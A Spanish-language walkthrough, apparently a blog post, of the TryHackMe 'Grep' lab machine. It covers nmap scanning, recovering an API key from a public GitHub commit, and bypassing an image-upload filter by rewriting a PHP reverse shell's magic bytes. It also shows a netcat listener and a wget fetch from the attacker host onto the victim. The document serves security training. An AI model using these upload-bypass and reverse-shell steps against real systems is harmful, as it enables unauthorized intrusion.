Entrada

Grep

INTRODUCCIÓN

Bienvenido al desafío de OSINT de TryHackMe, parte del camino de Red Teaming. En esta tarea, serás un hacker ético con la misión de explotar una nueva aplicación web desarrollada por SuperSecure Corp, una startup de rápido crecimiento que está creando una plataforma de blogs. Han invitado a profesionales de la seguridad como tú para evaluar su seguridad.

La tarea consiste en utilizar técnicas de OSINT (Open Source Intelligence) para recopilar información de fuentes públicas y descubrir posibles vulnerabilidades en la aplicación web.

El objetivo es identificar y explotar las vulnerabilidades de la aplicación mediante una combinación de habilidades de reconocimiento y técnicas de OSINT. A lo largo del desafío, buscarás puntos débiles, descubrirás datos sensibles e intentarás obtener acceso no autorizado. Utilizarás las habilidades y conocimientos adquiridos en el camino de Red Teaming para diseñar y ejecutar tus estrategias de ataque.

RECONOCIMIENTO, ESCANEO Y ENUMERACIÓN

Una vez que iniciamos la máquina, guardamos la dirección IP en una variable y realizamos un ping para comprobar que está en línea con el comando ping -c 1 $PING. Esto envía un paquete a la máquina y nos devuelve una respuesta que contiene la información. Obtenemos ttl=63, lo que significa que entre nosotros y la máquina hay un nodo intermedio, y que la máquina tiene un sistema operativo Linux.

Lanzamos el comando de nmap para descubrir únicamente qué puertos están abiertos y los guardamos en un archivo .txt:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -oN puertos $IP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.41

|_ssl-date: TLS randomness does not represent time

|_http-server-header: Apache/2.4.41 (Ubuntu)

| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US

| Issuer: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 2023-06-14T13:03:09

| Not valid after: 2024-06-13T13:03:09

| MD5: 7295:8ef0:7c16:221c:3b0a:40ee:913c:766c

| SHA-1: 38c2:3ba3:34b1:851a:f1d4:ee0a:37bd:701a:830c:7dd8

| -----BEGIN CERTIFICATE-----

| MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx

| CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy

| Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz

| MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G

| A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B

| AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz

| fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ

| 6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt

| PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht

| XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX

| NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3

| DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A

| LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6

| IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2

| MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C

| TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H

| XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf

|_-----END CERTIFICATE-----

| tls-alpn:

|_ http/1.1

|_http-title: 403 Forbidden

51337/tcp open http syn-ack ttl 63 Apache httpd 2.4.41

|_http-server-header: Apache/2.4.41 (Ubuntu)

| http-methods:

|_ Supported Methods: GET HEAD POST

|_http-title: 400 Bad Request

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 4.X

OS CPE: cpe:/o:linux:linux_kernel:4.15

OS details: Linux 4.15

TCP/IP fingerprint:

OS:SCAN(V=7.95%E=4%D=6/5%OT=22%CT=%CU=43144%PV=Y%DS=2%DC=I%G=N%TM=66604DBF%

OS:P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O

OS:1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11N

OS:W7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R

OS:=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%

OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y

OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R

OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=

OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S

OS:)

Encontramos dos puertos interesantes: 443 y 51337.

Lo siguiente que haremos es agregar a nuestro archivo hosts la IP de nuestra máquina y la dirección a la que nos redirige el puerto 443:

1
2
3
4
5
6
# Abrimos el archivo hosts con el editor
sudo nano /etc/hosts

# Una vez dentro añadimos la ip y la dirección .thm
# de manera que quede de la siguiente forma
# XX.XX.XX.XX     grep.thm

Ahora nos disponemos a realizar un escaneo más profundo a los puertos que hemos encontrado:

1
2
3
 sudo nmap -p 443,51337,80,22 -sSCV -O --traceroute -vvv -oN scaneo $IP

# Este comando lanza un escaneo a los puertos que le indicamos, con -sCVS cargamos una serie de scripts por defecto (sC), obtenemos el servicio y la información (V) y en modo "stealth" para ocultarnos, con (-O) habilitamos la deteccion del SO y con (--traceroute) mostrara la ruta de los paquetes enviados

Y como resultado, obtenemos toda la información necesaria para poder avanzar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Nmap 7.95 scan initiated Thu Jun  6 12:58:48 2024 as: nmap -p 443,51337,80,22 -sSCV -O --traceroute -vvv -oN scaneo 10.10.74.193
Nmap scan report for 10.10.74.193
Host is up, received echo-reply ttl 63 (0.075s latency).
Scanned at 2024-06-06 12:58:48 CEST for 20s

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b3:94:d1:a9:0d:c6:5e:f6:a5:cc:a5:2b:46:c4:a5:bf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkLuc/FcMCUTiLudYJwHCygjTsC86TWo1tKe5KsD1W9PrMNVjayyjNvlHZ1gMJDi4n6gs7A6YUzgi6ygL7koeXDy++lK9ryaSFMmvbCXEqbfOd6v8oXPakPSd4Jy0FFwA6Ml49It5UkJCKXIzlTqGX+MHW9mfFfBhu86iMR0NsbaIdDCX2bs9uZap0YGKzoGxgqK0TkoHf8fosLI2vramHQGzhpSXz4sd6ZpKu0Jpz9JNly5sdr0HFI2ZrR5zmDJ9dGoAlwXsSNg2eFOVNXmmFONpvENVVLew2+ZmtrY55oxOHLDH7QzcvXb1Z+3FFeu9/zKE/ju6zWCtZaMemqvzT1z9ovwlNjz9OXvWDIY6puDUHT/ctPx4xQ2EJlCpXfsjyJyGXigkmE3Xxefu2BRN1lTiqfjXhTTJDJoijxyR1Xo1W/OKqLT0CMRwt9F46yPrEjOdAM4wxXNf26jrThOIQ4CI8I6YQYBZJHuu+6KgUcrn5ykNQPmL7a0fVlsLVTkk=
|   256 0f:54:2b:e2:f0:a1:0a:26:2c:15:ef:93:cb:3b:b3:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHpIiC3j3lpuWn4l/+oxDflfkFI23lMS6qbA2kUyqOnkK6ueBKRdjcwQ29M2uyAVS/kjosWSZGj82tC0tV5X+70=
|   256 b4:ba:d8:d9:b5:55:15:38:32:61:33:91:5a:73:9b:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO5gilr3jusnZ693VdakVB2gjsoBZUXuKMnneHlYyrfN
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp   open  ssl/http syn-ack ttl 63 Apache httpd 2.4.41
| tls-alpn: 
|_  http/1.1
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Issuer: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-14T13:03:09
| Not valid after:  2024-06-13T13:03:09
| MD5:   7295:8ef0:7c16:221c:3b0a:40ee:913c:766c
| SHA-1: 38c2:3ba3:34b1:851a:f1d4:ee0a:37bd:701a:830c:7dd8
| -----BEGIN CERTIFICATE-----
| MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx
| CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy
| Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz
| MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G
| A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz
| fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ
| 6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt
| PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht
| XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX
| NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A
| LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6
| IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2
| MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C
| TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H
| XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf
|_-----END CERTIFICATE-----
51337/tcp open  http     syn-ack ttl 63 Apache httpd 2.4.41
|_http-title: 400 Bad Request
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=6/6%OT=22%CT=%CU=42616%PV=Y%DS=2%DC=T%G=N%TM=6661967C%
OS:P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O
OS:1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11N
OS:W7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R
OS:=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S
OS:)

Uptime guess: 32.723 days (since Sat May  4 19:37:46 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: ip-10-10-74-193.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   170.40 ms 10.9.0.1
2   171.35 ms 10.10.74.193

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun  6 12:59:08 2024 -- 1 IP address (1 host up) scanned in 20.55 seconds

EXPLOTACIÓN

Abrimos el navegador y nos dirigimos a la dirección https://grep.thm.

Revisamos la web y nos dirigimos a la sección Register. Nos encontramos con un formulario y abrimos el inspector del navegador. Al realizar un nuevo registro, nos muestra un mensaje de error diciendo que la clave API está caducada. Si accedemos al inspector, podemos obtener la clave API que está siendo utilizada:

Clave API

Vemos que la API tiene un cifrado MD5. Podemos descifrar la clave usando hashcat o algún servicio web. En mi caso, he usado https://md5.gromweb.com/, que me arrojó un nombre de usuario:

Resultado MD5 Gromweb

Podemos realizar un ataque de fuerza bruta usando Hydra o una herramienta similar, pero no conseguiremos resultado. Buscamos información sobre el CMS “SearchMe” y encontramos su repositorio en GitHub.

Repositorio CMS SearchMe

Navegamos hasta su repositorio y aquí encontramos algo importante:

Página principal del CMS

Commit del CMS

Clave API del CMS

¡Bingo! Tenemos la clave API necesaria para registrar un nuevo usuario. Abrimos BurpSuite y realizamos un intercambio con las claves API:

Inicio de sesión exitoso

Una vez realizado este paso, nuestro nuevo usuario quedará registrado y podremos acceder al contenido de la web:

Primera bandera

Vamos a escanear los directorios de la web en busca de más información. En mi caso, usaré:

1
dirb https://grep.thm

Como resultado, solo encontramos un directorio interesante:

Resultados de dirb

Si existe este directorio, debe existir otro que permita subir archivos. Reviso el código en GitHub y encuentro el método upload.php. Probamos a entrar desde la dirección https://grep.thm/api/upload.php, pero lanza un error, así que pruebo desde otra ruta: https://grep.thm/public/html/upload.php

Método de subida Página de subida

Solo nos permite subir imágenes con las siguientes extensiones:

1
$allowedExtensions = ['jpg', 'jpeg', 'png', 'bmp'];

Error de subida

Debemos subir una reverse shell y hacerla pasar por una imagen. Para realizar este proceso (aquí tienes más métodos), editamos el archivo binario de nuestra reverse shell. Existen varios programas y webs para hacerlo. En mi caso, usaré hexed. Aquí subiré mi archivo con extensión .php y editaré los 8 primeros bytes para que el servidor identifique la reverse shell como si fuese una imagen JPG. Aquí dejo otras modificaciones que podemos hacer:

1
2
3
4
BMP : 42 4D   
JPG : FF D8 FF E0   
PNG : 89 50 4E 47   
GIF : 47 49 46 38

Edición de reverse shell

Ya tenemos la shell lista para subirla al servidor.

Subida exitosa

Una vez subida, en nuestra terminal ejecutamos:

1
nc -lvn 4444 # Cambiar el puerto por el que hayamos escogido para la rshell

Shell maliciosa

Hacemos clic en la shell y eso nos conectará a nuestro equipo.

ESCALADA DE PRIVILEGIOS

Una vez dentro, subiré un script de Python para automatizar la búsqueda de archivos vulnerables o que contengan información de los usuarios del sistema. Para ello, me dirijo a la carpeta /tmp y, antes de nada, en mi terminal, dentro de la ruta donde tengo mi script, abro un servidor Python. Luego, en la terminal de la máquina víctima, se ejecuta el siguiente comando:

1
wget http://<ip máquina atacante>:<puerto>/nombre_archivo

Una vez que he ejecutado mi script, obtengo una copia de la base de datos:

Base de datos de usuarios

Entramos en el directorio para comprobar su contenido:

Contenido de la base de datos

Usando el comando cat, accedo a su contenido:

Datos de usuarios

Aquí tenemos al usuario admin con su clave cifrada y un email.

Agregamos esta dirección al archivo /etc/hosts al lado de grep.thm para que ambos apunten a la misma IP.

Después, en el navegador, nos dirigimos a la web y comprobamos su certificado:

Certificado

Solo queda dirigirnos a la dirección https://leakchecker.grep.thm e introducir el email del usuario admin para obtener la última flag.

Admin password

Esta entrada está licenciada bajo CC BY 4.0 por el autor.